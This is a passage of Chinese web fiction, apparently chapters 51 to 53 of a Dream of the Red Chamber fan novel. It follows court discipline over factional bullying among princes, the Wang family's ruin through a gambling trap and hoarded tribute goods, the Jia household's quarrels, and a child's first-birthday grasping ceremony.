圣上一愣:“王弟乃是亲王之尊,难道还有人能欺负到王弟门上不成?” 愉王咬牙说道:“臣弟这些年来,一直唯皇兄马首是瞻,如今也想要求皇兄给个准话!” 圣上顿时有了点不妙的预感,不过还是说道:“你我兄弟,说这些作甚,难不成还要朕手写一张诏书,给王弟你一个保证吗?” 愉王“扑通”一声跪了下来,语气里头已经带上了一些哽咽:“臣弟不敢,只是若是皇兄不给个准话,臣弟这愉王府也没有将来了!” “这又是怎么说的?祖宗规矩,宗室只要不触犯律法,便可按律传承,难不成你们愉王府犯了什么事?”圣上狐疑道。 愉王当下就喊起了冤:“臣弟是什么性子,皇兄您还不知道,这么多年,臣弟何曾有过半点出格之处!只是,日前臣弟家那个不成器的儿子在弘文馆,被逼着表态,要支持谁做太子!皇兄你也知道,臣弟当年长子夭了,又过了好些年,才又有了一个嫡子,臣弟跟老妻都不指望这孩子有什么出息,便是在弘文馆,也是三天打鱼两天晒网。原 本弘文馆的先生对此是睁只眼闭只眼,结果这几日功夫,臣弟给孩子安排的两个伴读都已经被打得手都抬不起来。可怜我那孩子,昨儿个夜里惊醒了几次,小脸都白了……” 说到这里,愉王都要哭出来了,上头圣上脸色也变得越来越难看,他深吸了一口气,挤出一个笑来,说道:小孩子家家的,闹着玩呢,王弟不必动气!朕保证,以后不会有这样的事情了!这几日叫侄儿在府里好好休养,等回来的时候,就都好了![(” 愉王听到圣上这般言语,自然也不会再追着问,你到底怎么给我保证,而是老老实实说道:“圣上厚恩,臣弟永生难报,只求圣上千秋万岁,叫臣弟一直做这个王弟为好!” 不想当皇帝的皇子都盼着老子长命百岁,到了愉王这里,是没这个指望了,只能指望自个哥哥能健康长寿。这下头那些小崽子,如今就已经不安分,等到当了皇帝,自己这样的王叔只怕连落脚的地都没了,所以,与其做个忍气吞声的王叔,还不如继续做王弟,起码圣上对宗室素来宽仁,不至于给他们什么难堪。 圣上听愉王说得真心实意,之前心中生出的那些恼恨也消散得差不多了,他叹道:“都说什么万岁,哪有什么千秋万岁的人呢!罢了,这次的事情,朕会给王弟你们一个交代,王弟先回去吧!” 愉王老老实实退下了,还带着圣上赏赐给儿子安神压惊的几瓶成药和一柄沉香如意,施施然回了王府。 “弘文馆发生了这样的事情,你们竟是一个个都不跟朕说!”愉王才走,圣上就开始大发雷霆,“莫不是你们也觉得朕老了,想要另投新主了?” 御书房里,几个太监跪了一地,戴权这会儿一边磕头,一边说道:“都是奴婢等人的过错,皇爷保重龙体,奴婢这就去将事情打听清楚!” 圣上自个对弘文馆的教学不放在心上,毕竟,之前年长的几个儿子早就毕业了,剩下那些对圣上来说就是混日子的。就算以后的太子要从小的里面选,也无所谓。皇帝这种职业,根本不是什么学士大儒能够教出来的。册封太子之后,他自然会让他参与到政务之中,哪怕就是看折子,看起居注呢,都比跟着先生读书来得强。 弘文馆之所以一直能够存在,其实为的就是给一个团结宗室的平台。宗室虽说大多手里没有实权,但是毕竟算是自家人,还是要保持一个亲睦友好的关系,真到了关键时刻,能信得过的还是宗室。 而宗室能不能出息,看的不是读了多少书,懂得什么知识,而是上头是否信得过你!因此,对于弘文馆的教学质量如何,圣上是不在乎的。这就导致了除非弘文馆发生什么严重的事故,否则的话,圣上很多时候压根想不到这个地方。 这回几个小崽子居然在弘文馆里搞起了拉帮结派,严重影响了宗室内部的和谐,圣上居然半点消息都没有听说,这就让他非常尴尬。 戴权很快就将内情打听清楚,心里差点没将负责弘文馆的那些官员骂得半死。十三皇子和十四皇子不知道厉害,你们这些人也不知道吗?看着 下头搞起了小团体,你们居然也没半点警惕?还是你们也想要玩夺嫡站队那一套? 圣上听了戴权的禀报,也差点气乐了。 很快,圣上的处置结果下来了。弘文馆的一干博士、助教尽数被罢黜问罪,罪名是离间宗室乃至天家骨肉亲情,连同只挂了名,几乎不去上课的几个学士也受到了牵连,被申饬罚俸。那几个学士也就罢了,无非就是丢个脸,那些博士、助教算是彻底完蛋,那个罪名简直就跟大不敬一样,能保住一条性命,就算是圣上宽宏大量。 而作为罪魁祸首的徒宏轩和徒宏憬,同样没落到什么好处。两人直接被圣上一顿臭骂,又被罚了闭门读书,还得抄写《礼记》一百遍。 这一番处置,朝堂上鼓吹册封这两个皇子的声音一下子就消失了,毕竟,他们两个在弘文馆的作为,委实配不上他们之前的评价,真要叫他们中哪一个当了太子,岂不是又要在朝堂上搞小团体,党同伐异? 听闻这个消息之后,贾赦差点没乐出声来,还专门跑到贾史氏那边冷嘲热讽了一番:“老太太,您不是一向觉得自己高瞻远瞩吗?如今瞧见了?咱们家之前若是像你们说的那样掺和进去,这会儿只怕早就被圣上给惦记上了!还从龙之功,也不怕淹死!” 贾史氏只能当做是没听到,真要是跟贾赦怄气,她觉得迟早自己得被气死!贾政倒是想要帮着贾史氏说几句,结果又被贾赦给噎了回去:“闭嘴吧,贾存周,要不是因为你这个废物点心,老太太犯得着掺和这种事情吗?” 贾政还想要拿之前的话来堵贾赦:“兄长你这话是什么意思,要不是兄长你,咱们家怎么从国公变成了如今的一等将军,母亲也是为了家族复兴……” “呵,家族复兴?”贾赦冷笑起来,“我看是二房鸠占鹊巢吧!行了,我也不跟你们啰嗦!之前我就说过了,甭管你们以后想要出什么幺蛾子,我都能叫你们偷鸡不成蚀把米!” 说着,贾赦扬长而去,贾政看着贾赦的背影,气得转头找贾史氏告状:“母亲,你看大哥……” 贾史氏有气无力地挥了挥手,说道:“行啦,之前的事情,咱们也拿捏不住他了!谁能想到,贵妃娘娘这次居然没能成事,这下他可愈发要得意起来了!也罢,咱们府里如今这个情况,一动不如一静,好歹等除服之后再说!到那个时候,你也去衙门当差了,朝堂上有什么动静也能早早听到风声,免得像这次一样,弄得不上不下,徒然尴尬!” 贾政只得点头答应了下来,他以前一直觉得自家母亲是个极为精明强干的人,如今看起来,也就是个寻常老太太。不过,贾赦可以不把这个孝字当回事,可贾政却不行。他能在荣国府发号施令,凭的就是贾史氏属意他奉养,他这才有资格住在荣禧堂,以荣国府的身份行事。若是他丢了这个根本,那贾赦放个屁都比他响亮。 等着贾政离开之后,贾史氏觉得浑身都没力气。她这是做了什么孽啊,一个儿子现在将她当仇人一样,以跟她作对为乐;另一个倒是听话,偏生是个无甚主见的废 物。至于女儿,之前说得好好的,以后就在京城,肯定会经常归省,结果根本就是骗人的,过年的时候回来了一趟,都没过夜就走了,就像是这荣国府有什么东西要吃了她一样。 原本元春养在她身边,但是自从上次被贾赦威胁了一通之后,王氏生怕贾赦哪天在荣庆堂凶性大发,将元春给毁容了,因此哭着喊着将女儿抱了回去。 贾史氏已经懒得多骂王氏了。这个蠢货,贾赦要是真想要下手,在哪儿不能下手,元春还能一辈子养在荣禧堂里头不成,贾家就算是金陵出身,也不像是江南那些人家一样,专门起一个绣楼将女儿养在里头,成年累月地连下楼都不许。她总得出来给长辈请安,还得跟着女先生念书,学一些诗词歌赋的本事,要不然像是王氏这样无趣,能有什么好造化。等到了年纪,还得出去交际,将名声在贵女圈子里头打出来。这一桩桩、一件件,只要贾赦有心,哪里钻不到空子。 也就是说,如今的荣庆堂,就生活着贾史氏和她手底下一干丫头婆子,这些丫头婆子奉承贾史氏的来来去去就那么些招数,张氏如今懒得讨好婆婆,难得来一次也是装木头,王氏自个就是个木头,才想要开口将冬生也就是贾琏养在荣庆堂,直接就被张氏给撅了回去:“老太太,冬生早产,娇气得厉害,活脱脱一个夜哭郎,真要是送到老太太您这里,那不是平白惹了您的清静,那就是我们做儿女的不孝了!” 这话说出来,贾史氏还能如何?贾琏为什么早产,不就是王氏造的孽吗?她还帮着遮掩了一番,不许张氏再追究。这件事,大家其实都心知肚明,如今再想要将贾琏抱到自个身边,是个人都要怀疑她存心不良。 贾史氏如今是真的寂寞了,每个月最大的盼头居然是休沐日的时候,贾瑚回来请安,那时候王氏为了争宠,也会带上贾珠和元春一起过来。贾瑚和贾珠之间还不像是他们老子一样,已经到了争锋相对,一句好话都没有的地步。小兄弟两个明面上看起来还是挺友爱的,元春又正是玉雪可爱的年纪,荣庆堂这一天就会非常热闹,一派天伦之乐的气象。 贾史氏这回是真舍不得让贾瑚去王府读书,贾瑚若是留在府里,跟贾珠一起读书,就算不能每日晨昏定省,来荣庆堂的频率也会高许多。 可惜的是,贾史氏才开口提了一次,张氏的脸就拉了下来,皮笑肉不笑地说道:“老太太倒是说的轻巧,王府伴读的差事,也是能说不要就不要的?虽说太妃娘娘与媳妇有几分姐妹情谊,但是驳了王府的面子,回头记恨起来,难不成老太太帮媳妇顶着?” 贾史氏很想要说,一个空头王府有什么怕得罪的,但是这话真说不出口,人家就算手里没权,也是正经的龙子凤孙,到时候告你一个藐视天家的罪名,你连反驳的机会都没有! 王氏倒是想要说几句酸话,却被张氏的眼神看得瑟缩起来。她之前被贾赦吓唬了一场,如今看到张氏,也有些疑神疑鬼的,生怕张氏哪一天想到贾琏的早产,也跟着发癫,害了她的孩子。 王氏根本没想过,张氏是个道德 底线比较高的人,人家不会报复到她孩子身上,而是直接釜底抽薪,报复到了她娘家兄长身上。 王子胜就是张氏选择的目标。与王子腾相比,王子胜那就是妥妥的废物点心,吃喝玩乐无一不精,其他却是一事无成。 ?想看微云烟波写的《红楼太妃要躺平》第 51 章吗?请记住本站域名[( 王子腾继承了王家在军中的世职,虽说不高,但好歹是个不错的开始,相应的,王家的家产绝大多数就落到了王子胜手里。王子胜对此也是心满意足,毕竟,他很有几分自知之明,知道自己是个当不了官,干不了正经事的,因此,继承了家业之后,就沉浸在享受之中,不能自拔。 以王家的家业,王子胜只在自个家里玩乐,那几辈子都花不完。可是再多的家业,也不能沾染一个赌字! 以前王家老爷子在的时候,对王子胜管的还是挺紧的,他在外头捧花魁,包粉头,虽说也很花钱,但他是个没长性的,人买回来,玩上几个月,再转手一卖,虽说卖不出之前的价,却也不会折太多。像是赌博这种,王子胜以前根本没有机会沾染。 而张氏却是拐弯抹角找了个人,想办法叫王子胜给沾上了。 一开始就是小打小闹,玩玩斗鸡蟋蟀什么的,在做局之人的刻意控制下,王子胜赢多输少,顿时自以为自己赌技高超,开始不满足于小打小闹,很快就玩大了。 赌博这种事情,赢的想要赢更多,输了就想要翻本,只要沾上了,几乎就不可能拜托。 王子胜也不是什么心智坚毅的人,很快就沉浸其中难以自拔。王子腾一心钻营,根本不知道自己这个兄长居然有了赌瘾,三天两头泡在赌坊里,先是将家里的浮财给输了出去,然后就开始典当东西。 他还没到穷途末路的时候,也没偷了媳妇的嫁妆典当,反而打起了库房的主意。他只知道,库房里头很多东西都是当年海外各国的贡品,价钱不菲,只要卖出去几件,那么翻本的本钱就有了! 哪怕敢开赌坊的人,背后都有靠山,但是赌坊后台开设的当铺接连收到明显不该是民间使用的器物摆件时,也有些害怕起来了。! 第 52 章 京中各家府上,或多或少都藏着一些不那么符合礼制的东西,只要不明目张胆拿出来用,放在自个家里摆着,也没人会追究。像是贾家,因着曾经做过织造,府里头上用的料子一大堆,以至于那等珍贵的缂丝衣裳都能赏给下人穿,也没人说什么。 但是,你这要是数量太多,还不是料子这样的消耗品,那就不好说了,谁知道这些东西的来路是什么,真要是被人告发,经手的人没一个能脱得了干系。 那些人之所以给王子胜设局,不过是觉着王家老爷子没了,王子胜就是个纨绔,王子腾也还没到后来得了贾家的资源,一路扶摇而上的时候。至于王家的姻亲,薛家远在金陵,除了有钱,并无什么特别之处,至于贾家,因为爵产分离的事情,兄弟不和,如今还是上层圈子里的笑话呢!何况,王子胜是自个赌输的,贾家也得讲道理吧! 一开始王子胜开始从家里拿出什么瓶子罐子之类的拿到当铺典当的时候,他们还在乐呵,能开在赌场附近的当铺,那其实就是一个老板,无非就是多转一次手罢了。王家也是开国勋贵,王家老爷子曾经官至太尉,哪怕如今的太尉已经变成了一个虚衔,那也是朝堂上一等一的大人物! 总之,哪怕之前王家为了填补任上的亏空,连嫡女都嫁给了薛家,从薛家捞到了一大笔聘礼,但是大家都相信,王家其实有的是钱,无非就是之前怕被压价,舍不得出手而已。 如今瞧着王子胜的做派,这些人都意识到,王家有钱是真的!好不容易摊上王子胜这样崽卖爷田不心疼的败家子,这些本来就喜欢捞偏门的家伙就像是咬住了手指的王八一样,死活都不肯松口。 果不其然,王子胜拿出来的东西,那真的是五花八门,但都是好东西。 只是一开始的各种金器银器还有古玩金石也就罢了,应该都是王子胜自个的私房,后来那些东西就有些夸张了,几乎都是来自海外的精品,上头还有明显的来自海外诸国王室的标记,这些分明应该是来自各国的贡品。 私藏贡品这种事情,从来都不是什么小事,追究起来,那是要死人的! 少许几件也就罢了,王子胜拿出来的数量简直叫人瞠目结舌,你们王家是打劫了一个朝贡的船队吗?哦,你们家原来就管着这个,看样子,人家每每上贡给圣上的东西,都要先被你们王家抽一次水吧! 猜到了王家的勾当之后,一些人心有余悸,一些人心思却是活泛起来。 王家当年得罪的人其实不少,毕竟,他们家原本是海盗出身,东南沿海那边的大海商若是不孝敬他们,出海的船队那就别想回来了。后来王家又搭上了改朝换代的春风,摇身一变,居然成了开国勋贵中的一员,之前那些人还得继续讨好奉承他们! 现在,王家境况大不如前,在东南沿海的影响力也消失得差不多了,手底下连条船都没有,家里也没几个能上得了台面的人,这还有什么可怕的,正该痛打落水狗,有怨报怨,有仇报仇才对。 因此,没过多久?,就有人出首,举报王家截留贡品,图谋不轨!被王子胜输出去的那些珍品就成了证据。 “老太太,求您救救王家吧!”王氏听得消息,整个人都傻了,她一直以自己出身王家而自傲,觉得自家兄长也就是运道不好,否则早该扶摇直上。她都想好了,既然自家丈夫提不起来,回头就想办法用贾家的人脉关系,将王子腾推上去。 哪知道,计划才起了个头,王家就倒霉了! 王氏听说这些都是王子胜赌钱惹出来的麻烦,恨不得将这个原本也极疼她的兄长碎尸万段。只是,她还真不能不管,之前张家出事的时候,她还幸灾乐祸,轮到她自己的时候,王氏就撑不住了,她自个没什么主意,贾政更是个只喜欢推卸责任的性子,思来想去,还是得来求贾史氏。 贾史氏这些日子消息也没那么灵通,一听王家的罪名,顿时就打起了退堂鼓。 这种事情,像是那等封疆大吏干的都不少,各地或多或少都有些贡品,像是什么岁贡、年贡、鲜贡,其实就是各地的特产。不过,一般情况下,这些贡品都会多征收不少,除了贡上的那一部分,其他的就是地方上截留下来的,有的自己用,有的就是拿来走关系。绝大多数都算是官场上的潜规则,市面上你找关系弄到的贡余有的时候甚至比贡上的品质还强一些。 但是有的东西就很敏感,比如说辽东那边进贡的人参还有一些皮毛,素来都是严格只能进贡给皇室,由宫中分派。这等海外藩国的贡品就更敏感了,人家是为了天朝上国而来的,你一个臣子,也敢僭越! 若是各家老一辈还在,这事还能糊弄过去,毕竟,老一辈与国有大功,到时候低个头,罚酒三杯也就罢了。可是如今老一辈的人都不在了,谁家敢为了王家这破事背书! 贾史氏看着跪在自己面前,哭的眼泪鼻涕一大把的王氏,无奈道:“当初你大嫂子家里的事情,那会儿国公爷还在呢,都没办法,如今就我一个老婆子,能有什么办法!” 王氏更急了,忙道:“张家那是牵扯到东宫,可是我们王家却不是这样,别的也就罢了,便是罚没家里的产业,追缴所得也没关系,只要保住世职就可以!” “你还想要保住世职?”贾史氏看着王氏的眼神都有些奇妙了,你这是怎么敢的啊,一家子不因此被问罪就算是好事了,你还只想破财消灾?有这样的好事,那去年那些被问罪的人家不是白死了! 王氏这会儿都有些口不择言了,说道:“老太太,不就是私藏了一些贡品吗?做过这种事情的人家多了去了,便是咱们家……” 王氏这话还没说完,就被贾史氏兜头浇上来一杯茶水,也亏得水不算烫,要不然王氏这会儿能原地跳起来,饶是如此,也被搞得极为狼狈:“老太太……” 贾史氏冷笑一声:“你都多大年纪的人了,还不知道什么叫做谨言慎行吗?管好你的嘴,别把咱们家也搭进去,你得记住,你现在是贾王氏,死了也是进咱们贾家的祖坟,别胳膊肘往外拐,一门心思还惦记着娘 家!” 贾史氏教训一番之后,还觉得有些不够,毕竟,她真的信不过王氏的脑子,这种蠢人,说不得什么时候就能闯出什么意想不到的祸来。因此,贾史氏又警告道:“想想珠儿,想想元春,你也不想他们有个被休弃的娘吧!到时候政儿续弦,我一个老婆子年纪也大了,可未必护得住他们!” 王氏这才被吓到了,对于她来说,儿女才是第一位的,第二是自己,第三才排到娘家,最后才轮得到夫家。她想要救娘家,归根结底还是为了自己。有个强势的娘家,她这个出嫁女在夫家才有底气。她嫁到贾家,哪怕贾政只是次子,但其实也算是高嫁了,因为那时候王家正处在一个很尴尬的阶段,王家老爷子退下去了,王子胜是个废物点心,王子腾倒是很有野心和能力,可想要将野心和能力转化为地位和权势,还需要相当长一段时间的努力。王家那时候又被追缴任上的亏空,需要贾家帮着摆平官面上的关系,这才有了王家姐妹俩分别嫁给贾政和薛家少主薛俭的事情。 贾代善在世的时候,王家就只能跟着贾家这个老大哥,贾代善略微漏了点好处给王家这个亲家,王子腾就在军中打开了局面。可贾代善去世之后,贾家这边明明手里攥着军中的关系,自己也用不上,却丝毫没有放手的意思,王家那边早就急了。王氏这些日子以来,跟娘家关系变得愈发紧密起来,被娘家兄嫂一番洗-脑,什么娘家好,你才能好之类的,王子腾又许诺,等自己上去了,就想办法推元春进宫,让她真正成为贵人。 王氏被忽悠得一愣一愣的,恨不得立刻为娘家抛头颅洒热血,但她之前也是也是锦上添花,如今却要雪中送炭,一个不好,还得引火烧身,王氏顿时就犹豫起来。 她不敢高估荣国府的道德感,或许贾家不会真的休弃她,但是找个借口,让她去礼佛,甚至让她病逝,都不是什么困难的事情。就像是张家出事,他们想要让张氏无疾而终,彻底跟张家切割,只不过后来没能成功,张家又没到那个份上罢了。 可如今王家这事,王氏原本觉得问题不大,但是看贾史氏的脸色,她就意识到自己想差了,这事其实很严重,严重到可能影响自己的地步,这就让王氏开始犹豫起来。 贾史氏太了解王氏这个儿媳妇了,本质上就是个凉薄的性子,见她神色犹疑,就知道她动摇了,当下说道:“你先回去吧,王家毕竟跟咱们家是亲戚,是不能袖手旁观,只是也得先打听清楚情况再说。而且,这事归根结底得看圣意如何,若是圣上宽宏,有意网开一面,那这事也就过去了,若是圣上……” 贾史氏没有再说,但是王氏却明白了贾史氏的未尽之意,若是圣上是个小心眼的,觉得外头藩国的贡品,朕还没享受到呢,你们就先享受上了,你们还当自己是东南沿海的土皇帝呢!那样的话,王家这次就凶多吉少! 做臣子的,谁敢将希望寄托在上位者的心胸上呢?人家只说宰相肚里能撑船,说到圣心,大家只会说伴君如伴虎,圣心难测!可见,做皇帝的人,没几个是真的心胸开阔的,甚至,大 多数皇帝堪称是睚眦必报,小心眼得要命! 王氏失魂落魄地回去了,压力却到了贾史氏这边。王家与张家不同,那是在金陵时候就有的交情,要不然金陵那边也不会有四大家族的称呼,哪怕看似凑数的薛家,那也是地方上的庞然大物。 王家海盗出身,道德底线可以说是没有,若是贾家明确表示拒绝拉王家一把,那么王家那边,反咬贾家一口也不是不可能的事情! 想到这里,贾史氏就开始后悔,原本贾代善想要给贾政娶一个低品文官家的女儿,她不同意,非要从老亲里头选,史家当时又没有合适的人,正好王家找上门来,她那时候瞧着王氏,长得还行,性子也好拿捏,结果如今看起来,那简直是油蒙了心。哪怕王氏生的贾珠和元春都挺讨贾史氏喜欢,她依旧得说,王氏就是个蠢货。 贾史氏不知道这么多年,王氏跟王家说了多少关于贾家的事情,以前贾代善还在,许多事情就算是有些出格,以贾代善在圣上心中的地位,这些事情都能糊弄过去,但是如今可就说不准了。贾代善的遗泽固然有,但是在圣上那里还有多少份量,还真是说不清楚。 思来想去,贾史氏硬着头皮说道:“去请大老爷和大太太过来一趟,就说我有要事相商!” 贾赦依旧窝在自己书房里把玩自己的诸多收藏,张氏也被冬生搞得分身乏术,荣庆堂这边来叫人,两人都露出了不怎么乐意的神色。贾赦是压根不知道外头发生了什么事,只当贾史氏又想要作妖。张氏倒是知道怎么回事,但是,她就是始作俑者,巴不得王家倒霉,自然不想掺和这件事。 只是贾史氏都叫人过来了,夫妻两个还是各自放下手中的事情,一起往荣庆堂而去。 夫妻两个如今没了太多的亲密,反倒是如同合作伙伴一般,两人都觉得这样的关系更让自己安心。坐在马车上,贾赦就忍不住问道:“太太,你知道老太太今儿个叫咱们过去,是为了什么吗?” 张氏轻声说道:“老爷,应该是为了王家的事情。我听说王家被人告了,说是他们截留贡品。” 贾赦忍不住撇了撇嘴:“既然是王家的事情,找老二跟老二媳妇啊,找咱们两个干什么!” 张氏安慰道:“不管怎么样,既然老太太叫咱们,咱们过去便是了!”言下之意就是,去是去,到了之后要是让咱们干什么为难的事情,咱们只不答应就是。 贾赦点了点头,心中开始盘算,真要是王家完蛋了,对自个家里可有什么影响,然后脸色就有些不好。 在二门外下了车,夫妻两个一路走进荣庆堂,给贾史氏行了礼,贾赦装作一副什么都不知道的模样,说道:“老太太今儿个叫儿子夫妇过来,可是有什么要事?” 贾史氏一看贾赦那惫懒模样,就气不打一处来,哼道:“你是我儿子,我没事就不能叫你过来吗?” 贾赦依旧一副无赖模样:“能,当然能,横竖儿子如今在家无事可做,老太太你要是闲着无聊,儿子天天过来陪你也不是不行!”说着,他环顾 了一下四周,啧啧说道:老太太您这边好东西不少啊[(,那美人觚是汝窑的吧!这龙文鼒我好像小时候见过,难道就是在老太太您这里看到的?” 贾史氏只听得脸色发青,这不孝子如今是惦记上自己的私房了,说到那龙文鼒,贾史氏有些心虚,因为这个其实是公中的,以前是放在老荣国公贾源书房里,后来被贾史氏趁着自己管家的机会,塞进了自个私房之中,等到贾代善去世之后,便拿出来使用。 贾史氏越看贾赦越想是在看贼,当下喝道:“行了,我还没死呢,你就惦记上了!今儿个叫你过来,不是让你来赏玩我老婆子的私房的,咱们家都要摊上大事了,你还有心思想这些乱七八糟的!” 贾赦一屁-股在椅子上坐了下来,端起刚上来的茶水喝了一口,然后就说道:“怎么拿这陈茶来糊弄老爷,换了青凤髓来!” 贾史氏忍着气,叫人下去重新沏茶,又皮笑肉不笑地看向了张氏:“老大媳妇,你要喝什么茶啊?” 张氏也不客气,面上却是低眉顺眼地说道:“儿媳自生了冬生之后,便添了几分病症,喝不得茶水,烦请老太太赏一盏杏仁茶便是!” 贾史氏只气得一个倒仰,这两口子是跑自个这里点菜来了,不过还是叫人下去准备了,等着上茶的功夫,贾史氏便说道:“前几日,有人举告,说王家私藏贡品,有不轨之心,王家终究是咱们家的老亲,打断骨头还连着筋呢,老大,你说说看,这事怎么办?” 贾赦还在看着多宝架上的摆件,嘴里漫不经心地说道:“这有什么好说的,我岳父家里出事的时候,咱们府里也没什么动静啊,怎么着,如今轮到老二岳家出了事,就着急上火了?老太太,您这心也太偏了吧!” 贾史氏气道:“你都胡说八道什么!我是偏疼你二弟一些,那也是因为你能袭爵,你二弟因着生得晚了两年,无论是官职还是将来分家,都要吃亏,我这才多偏着他一点。你父亲当年可是更看重你,张家出事的时候,你父亲还在呢,你怎么不去埋怨你父亲偏心?无非是力不能及,只能勉强自保罢了!” 张氏在一边只低着头,不说话,杏仁茶已经端上来了,张氏捧着白粉定窑杯,慢吞吞地品尝着杯中的杏仁茶,好似这杏仁茶是什么珍馐一般。 贾赦嗤笑一声:“行吧,横竖都是老太太您有理,行了吧!那老太太您叫我过来,总不至于是让我去捞王子胜王子腾兄弟一把吧!您这可就高看我了,您之前都说了,我就是个叫家族蒙羞的废物,连祖上传下来的爵位都保不住,还在圣上那里挂了号,回头还不定如何呢!如今我老老实实在自个屋里猫着,不出去惹事就算是给咱们家积德了,您还想要让我出去,那不是明摆着给人找不自在嘛!” 这回不自在的就变成贾史氏了,扔出去的回旋镖打到自己脸上,这种感觉真的是不好受,她只得说道:“也不是捞他们一把,主要是赦儿你之前认识的人多,去打听一下情况,真要是将王家给治罪了,咱们家也难免有些干系!” 贾赦也开始低头喝 茶,喝了两口之后,就将手里的茶盏往旁边一放,然后看向了贾史氏,问道:“老太太您要我去打听消息倒也无妨,只是您得给我交个底,这王家到底有咱们家什么把柄?” 贾史氏没想到贾赦一开口问出来的话就这么犀利,一时间只觉尴尬,她想了半天,也想不到王家到底有自家什么把柄,把柄肯定是有的,毕竟王氏那张嘴,看似拙嘴笨舌,实际上就跟漏勺一样。她嫁过来之后,跟王家往来非常密切,谁知道将家里的情况泄露出去了多少,想到这里,贾史氏只能苦笑:“我老婆子哪里知道,咱们两家毕竟是姻亲,像是他们家之前截留贡品这种事情,咱们家也是听说过的,甚至,他们家还送了一些作为咱们家的年礼呢,如今就在库中。光是这些,到时候翻出来,咱们家也变成共犯了!” 贾赦没好气地说道:“您老人家这是拿我顶缸呢,王家东西送过来,我们大房连个影子都没见过,如今您来跟我说,他们家还送了不少赃物给咱们家做年礼!您这是嫌我们家日子过得太清静了?” “谁能想得到,这事还能被翻出来呢?”贾史氏也觉得冤枉,这都多久之前的事情了,东西送过来,都是放在库里,用的时候才拿出来摆摆,而且多半是在自家人面前,谁也不会发疯,叫外头人看到,等风头过了,再改头换面一下,也就没啥事了。可如今,再想要毁尸灭迹,那可就来不及了。 贾赦也不是什么有决断的人,这会儿也有些麻爪,他犹豫不决地看向了张氏,小心翼翼地问道:“不知太太觉得如何?” 张氏将杏仁茶放到一边,起身说道:“老太太,媳妇只是一介女流,这等大事,媳妇也不清楚,不过,依媳妇的浅见,不如先将王家的礼单拿出来,看看上头写没写是贡品,若是没写,那趁早将那些给销毁了,别人问起,就直接报损便是!” 贾史氏有些不舍,不过还是点头答应下来,然后又说道:“若是还有其他事情呢?”! 第 53 章 贾家被王家的事情搞得焦头烂额,平王府如今却在准备给末儿搞个抓周宴。 末儿生下来没多久就丧了父,因此,除了洗三之外,满月与百日都没有大半,如今到了周岁,哪怕只是在正院小范围内办一场,那也是好的。顾晓没有叫西院和风荷院,只在正院设了小宴,私底下庆贺一下便罢。不过,西院和风荷院也不能真当没这回事,都老老实实送了贺礼过来。便是李氏也算是出了一回血,送了一整套的项圈手镯脚镯,光是份量就颇为不轻,好在因为是孝期的时候,用的是银饰,要不然的话,准备的时候只怕私底下都能心疼得抹眼泪。 顾晓也没占她们便宜的意思,反手便赏了不少东西下去,她们不仅不会亏,还能小赚一笔。 原本抓周这种事情,其实都要训练的,或者是准备东西的时候,将这些物品做成五彩缤纷的模样,还要弄点香甜的味道。贾宝玉为什么抓周抓了胭脂,不就是因为胭脂颜色浓艳,又香味扑鼻吗?小孩子不懂事,自然喜欢香甜好看的。 末儿生在宗室,也就没那么多讲究,他就算是喜欢胭脂水粉,大不了将来做个化妆品达人便是,也不是什么大问题,因此,在奶娘提出要给末儿训练的时候,顾晓直接拒绝了:“这抓周之事,原本就是图个乐子,哪里就真的应验了。该准备的准备了,叫末儿自己选便是!” 话是这么说,下头做事的时候,可不能真的叫小主子抓了什么寓意不好的东西,准备的时候自然是百般小心。笔是翡翠的,砚台是玛瑙的,纸用彩笺,墨要用上等的松香墨,上头还得绘上末儿喜欢的图案。书籍的封面也用彩色套印,孝期里头算盘不能用金的,那就用玉的,印章直接用鸡血石的,反倒是吃食之类的,都做成普普通通的模样,看起来很不起眼。 等着一家子吃完了长寿面,吴嬷嬷亲自捧了一个方形雕漆填彩百子睟盘过来,摆到桌上,春香、春雨、春红等人鱼贯而入,各自将手里捧的东西摆到睟盘上,末儿也被抱到了桌子上,看着盘子里琳琅满目的东西,神情好奇。 顾晓笑道:“末儿,去前头抓一个,随便你抓什么?” 末儿闻言,便凑到睟盘前,小手扒拉了一番,先抓住了那本被涂得五彩斑斓的书,当下下头人就开口赞道:“三公子抓经典,满腹才学点状元!” 结果话才说完,末儿就将手里的书本一丢,抓住了那个玉雕的小算盘,拿在手里当做摇铃一般晃来晃去,只听到玉珠碰撞的声音,末儿越听越兴奋,摇晃得更厉害了,下头人立马跟着说道:“三公子抓算盘,金玉满堂滚滚来!” 顾晓瞧着末儿玩得开心,也顾不上再抓别的了,当下笑道:“行了,把末儿抱下来吧!” 末儿手里还抓着他的玉算盘不肯松手,徒嘉钰在一边摇头晃脑说道:“末儿,以后你就要与铜臭为伍啦!” “说什么呢!”顾晓嗔道,“拿个算盘就与铜臭为伍啦!有本事,你以后不要用这些阿堵物!” “妈,我小时候 拿的是什么啊?”徒嘉钰之前就想问了,这会儿终于忍不住了,忙问道。 顾晓笑道:“你小时候啊,倒是眼光好,直接拿了你父王放的一方小印,可见是个会挑的!” 徒嘉钰听了,顿时高兴起来,觉得自己就是比自家弟弟眼光好,又问一边凑热闹的贾瑚:“瑚哥儿,你知道以前抓的是什么吗?” 贾瑚想了想,说道:“我听奶娘说过,我抓周的时候抓的是一把小腰刀!” 徒嘉钰有些遗憾地摇摇头:“那这事可能就不准了,你如今都读书科举呢,哪里还能再从武事!” “这可说不定,有道是出将入相,说不定以后瑚儿还能当大将军呢!”顾晓笑道。 贾瑚笑得有些羞涩,这种事情,总不能自卖自夸,不过听到好话,还是很让人开心的。 徒嘉钰却是说道:“我之前就听说瑚哥儿的祖父乃至曾祖,都是疆场上的英雄人物,可惜到了瑚哥儿这一代,贾家已经没人再习武了!” 贾瑚也不知道该说什么好,顾晓却是笑道:“如今天下承平,自然是刀枪入库,马放南山。那两位国公爷正是明白这一点,才叫后人弃武从文,要不然,荣国府何必娶瑚儿的母亲!” 徒嘉钰还是觉得有些遗憾,小孩子嘛,都崇拜那种大英雄豪杰一样的人物,像是贾家这样出身微末,却能驰骋疆场,弓马之上得到如今这样的权势地位,自然是极为敬佩的,私底下就跟贾瑚嘀嘀咕咕,想要回头见识一下两位老国公的铠甲弓箭等物,遥想一下他们曾经的威风。 贾瑚从小生活在贾家,反倒是对此没什么感觉。实际上,如今的贾家,已经看不出曾经那种以武传家的风范,原本给子弟练习射箭的箭道都废弃了,贾代善在他面前从来也都是一个慈爱和蔼祖父的形象,最后一次看到贾代善穿戴铠甲是他宫变勤王回来,身上还带着浓郁的血腥味。 但是紧接着的变故就让贾瑚忽视了当时贾代善的状态,只余恐慌和害怕。 